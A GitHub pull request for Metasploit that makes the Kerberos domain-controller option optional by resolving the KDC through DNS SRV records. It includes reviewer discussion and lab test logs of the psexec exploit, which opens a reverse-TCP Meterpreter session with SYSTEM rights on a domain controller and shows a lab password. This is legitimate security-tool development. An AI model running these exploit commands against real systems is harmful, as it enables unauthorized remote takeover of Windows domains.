Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Make the DomainControllerRhost optional #18446

Merged
merged 2 commits into from
Dec 5, 2023

Conversation

zeroSteiner
Copy link
Contributor

@zeroSteiner zeroSteiner commented Oct 11, 2023

This makes the DomainControllerRhost option optional, even when the authentication mode is set to Kerberos. It does so by looking up the Kerberos server using the SRV records that Active Directory publishes by default for the specified realm. This means the user does not need to set this option if they don't want to. This requires the changes from rapid7/rex-socket#64.

Verification

  • Start msfconsole
  • use exploit/windows/smb/psexec
  • Set the Kerberos related options except for DomainControllerRhost
  • Ensure that your DNS server is set to the domain controller
  • Run the module and see that it works
  • Try running with an invalid domain so DNS resolution fails and see a meaningful error message

Example

The VERBOSE datastore option is on so the user can see the additional messages.

msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] 192.168.159.10:445 - Connecting to the server...
[*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445|msflab.local as user 'smcintyre'...
[*] 192.168.159.10:445 - Using DNS to lookup the KDC for msflab.local...
[*] 192.168.159.10:445 - Using KDC dc.msflab.local for realm msflab.local
[*] 192.168.159.10:445 - Using DNS to resolve the address for the dc.msflab.local KDC...
[*] 192.168.159.10:445 - 192.168.159.10:88 - Using cached credential for cifs/[email protected] [email protected]
[*] 192.168.159.10:445 - Checking for System32\WindowsPowerShell\v1.0\powershell.exe
[*] 192.168.159.10:445 - PowerShell found
[*] 192.168.159.10:445 - Selecting PowerShell target
[*] 192.168.159.10:445 - Powershell command length: 4323
[*] 192.168.159.10:445 - Executing the payload...
[*] 192.168.159.10:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.159.10[\svcctl] ...
[*] 192.168.159.10:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.159.10[\svcctl] ...
[*] 192.168.159.10:445 - Obtaining a service manager handle...
[*] 192.168.159.10:445 - Creating the service...
[+] 192.168.159.10:445 - Successfully created the service
[*] 192.168.159.10:445 - Starting the service...
[+] 192.168.159.10:445 - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.159.10:445 - Removing the service...
[+] 192.168.159.10:445 - Successfully removed the service
[*] 192.168.159.10:445 - Closing service handle...
[*] Sending stage (175686 bytes) to 192.168.159.10
[*] Meterpreter session 3 opened (192.168.159.128:4444 -> 192.168.159.10:56267) at 2023-10-11 14:37:20 -0400

meterpreter > background 
[*] Backgrounding session 3...
msf6 exploit(windows/smb/psexec) > run SMBDomain=wrong.local

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] 192.168.159.10:445 - Connecting to the server...
[*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445|wrong.local as user 'smcintyre'...
[*] 192.168.159.10:445 - Using DNS to lookup the KDC for wrong.local...
[-] 192.168.159.10:445 - Exploit failed: Rex::Proto::Kerberos::Model::Error::KerberosError Failed to lookup the KDC
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/psexec) > 

@sempervictus
Copy link
Contributor

Similar trickery is needed to do wmiexec over NATs w Rex (old prototype code I have to materialize at some point), back then my resolver stuff was manually hacked in (incorrectly) at various layers of dcerpc to facilitate this but now that we've got things wired seemingly correctly it might be worth revisiting that effort (likely in the new smb lib). Thanks man

@@ -213,7 +231,7 @@ def authenticate(options = {})
)
end
if options[:credential]
print_status("#{peer} - Using cached credential for #{options[:credential].server} #{options[:credential].client}")
print_status("Using cached credential for #{options[:credential].server} #{options[:credential].client}")
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I removed the #{peer} - prefix from these messages about using cached credentials because they could occur before a connection was made meaning that the peer host may not have been populated leading to :88 - being used. Since communication doesn't always occur when using a cached credential, it doesn't make much sense to print the peer information anyways.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You know... now that we have intrinsic name lookup facilities in our socket library, maybe we could start treating valid hostnames as peers?

@@ -183,6 +184,23 @@ def rport
port
end

def connect(options = {})
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Placeholder comment: For something like a kerberos smb login bruteforcer, will this end making hundreds of DNS requests

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

CachedResolver doesn't care how many requests you make, so long as you're within the record's TTL (or create a static entry after the first lookup in the brute mixin) it'll pull from the cache.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah I was thinking that caching should be the resolvers responsibility if it needs to be implemented.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@jheysel-r7 jheysel-r7 assigned jheysel-r7 and unassigned jheysel-r7 Nov 9, 2023
@jheysel-r7 jheysel-r7 self-assigned this Dec 5, 2023
@jheysel-r7
Copy link
Contributor

jheysel-r7 commented Dec 5, 2023

Changes look good and testing was as expected. Nice work! 🚀

➜  metasploit-framework git:(c855c56235) ✗ scutil --dns | grep 'nameserver\[[0-9]*\]'
  nameserver[0] : 172.16.199.200
  nameserver[1] : 8.8.4.4
  nameserver[2] : 192.168.1.1
  nameserver[3] : 8.8.8.8
  nameserver[0] : 172.16.199.200
  nameserver[1] : 8.8.4.4
  nameserver[2] : 192.168.1.1
  nameserver[3] : 8.8.8.8
➜  metasploit-framework git:(c855c56235) ✗ bundle exec ./msfconsole -q
[*] Starting persistent handler(s)...
msf6 > use windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > run rhost=172.16.199.200 SMBUser=Administrator SMBPass=N0tpassword! SMBDomain=kerberos.issue SMB::Auth=kerberos SMB::Rhostname=dc2

[*] Started reverse TCP handler on 192.168.1.78:4444
[*] 172.16.199.200:445 - Connecting to the server...
[*] 172.16.199.200:445 - Authenticating to 172.16.199.200:445|kerberos.issue as user 'Administrator'...
[*] 172.16.199.200:445 - Using KDC dc2.kerberos.issue for realm kerberos.issue
[+] 172.16.199.200:445 - dc2.kerberos.issue:88 - Received a valid TGT-Response
[*] 172.16.199.200:445 - 172.16.199.200:445 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20231205150520_default_172.16.199.200_mit.kerberos.cca_775733.bin
[+] 172.16.199.200:445 - dc2.kerberos.issue:88 - Received a valid TGS-Response
[*] 172.16.199.200:445 - 172.16.199.200:445 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20231205150520_default_172.16.199.200_mit.kerberos.cca_607187.bin
[+] 172.16.199.200:445 - dc2.kerberos.issue:88 - Received a valid delegation TGS-Response
[*] 172.16.199.200:445 - Selecting PowerShell target
[*] 172.16.199.200:445 - Executing the payload...
[+] 172.16.199.200:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175686 bytes) to 192.168.1.78
[*] Meterpreter session 1 opened (192.168.1.78:4444 -> 192.168.1.78:50390) at 2023-12-05 15:05:23 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DC2
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : KERBEROS
Logged On Users : 8
Meterpreter     : x86/windows
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.199.200 - Meterpreter session 1 closed.  Reason: Died
msf6 exploit(windows/smb/psexec) > run rhost=172.16.199.200 SMBUser=Administrator SMBPass=N0tpassword! SMBDomain=ABSOULTELYWRONG.local SMB::Auth=kerberos SMB::Rhostname=dc2

[*] Started reverse TCP handler on 192.168.1.78:4444
[*] 172.16.199.200:445 - Connecting to the server...
[*] 172.16.199.200:445 - Authenticating to 172.16.199.200:445|ABSOULTELYWRONG.local as user 'Administrator'...
[-] 172.16.199.200:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: Failed to lookup the KDC
[*] Exploit completed, but no session was created.

Please excuse my fatfinger closure of this PR 🙈

@jheysel-r7 jheysel-r7 closed this Dec 5, 2023
@jheysel-r7 jheysel-r7 reopened this Dec 5, 2023
@jheysel-r7 jheysel-r7 force-pushed the feat/lib/kerberos/auto-kdc branch from c855c56 to f000c39 Compare December 5, 2023 21:28
@jheysel-r7
Copy link
Contributor

Double checked everything was working as expected after landing the rex-socket PR and building the new gem 👍 landing now.

msf6 exploit(windows/smb/psexec) > run rhost=172.16.199.200 SMBUser=Administrator SMBPass=N0tpassword! SMBDomain=kerberos.issue SMB::Auth=kerberos SMB::Rhostname=dc2

[*] Started reverse TCP handler on 192.168.1.78:4444
[*] 172.16.199.200:445 - Connecting to the server...
[*] 172.16.199.200:445 - Authenticating to 172.16.199.200:445|kerberos.issue as user 'Administrator'...
[*] 172.16.199.200:445 - Using KDC dc2.kerberos.issue for realm kerberos.issue
[+] 172.16.199.200:445 - dc2.kerberos.issue:88 - Received a valid TGT-Response
[*] 172.16.199.200:445 - 172.16.199.200:445 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20231205174508_default_172.16.199.200_mit.kerberos.cca_909295.bin
[+] 172.16.199.200:445 - dc2.kerberos.issue:88 - Received a valid TGS-Response
[*] 172.16.199.200:445 - 172.16.199.200:445 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20231205174508_default_172.16.199.200_mit.kerberos.cca_065645.bin
[+] 172.16.199.200:445 - dc2.kerberos.issue:88 - Received a valid delegation TGS-Response
[*] 172.16.199.200:445 - Selecting PowerShell target
[*] 172.16.199.200:445 - Executing the payload...
[+] 172.16.199.200:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175686 bytes) to 192.168.1.78
[*] Meterpreter session 1 opened (192.168.1.78:4444 -> 192.168.1.78:50132) at 2023-12-05 17:45:10 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

@jheysel-r7 jheysel-r7 added enhancement rn-enhancement release notes enhancement labels Dec 5, 2023
@jheysel-r7 jheysel-r7 merged commit 9f126a4 into rapid7:master Dec 5, 2023
59 checks passed
@jheysel-r7
Copy link
Contributor

Release Notes

This PR makes the DomainControllerRhost option optional, even when the authentication mode is set to Kerberos. It does so by looking up the Kerberos server using the SRV records that Active Directory publishes by default for the specified realm.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement rn-enhancement release notes enhancement
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

4 participants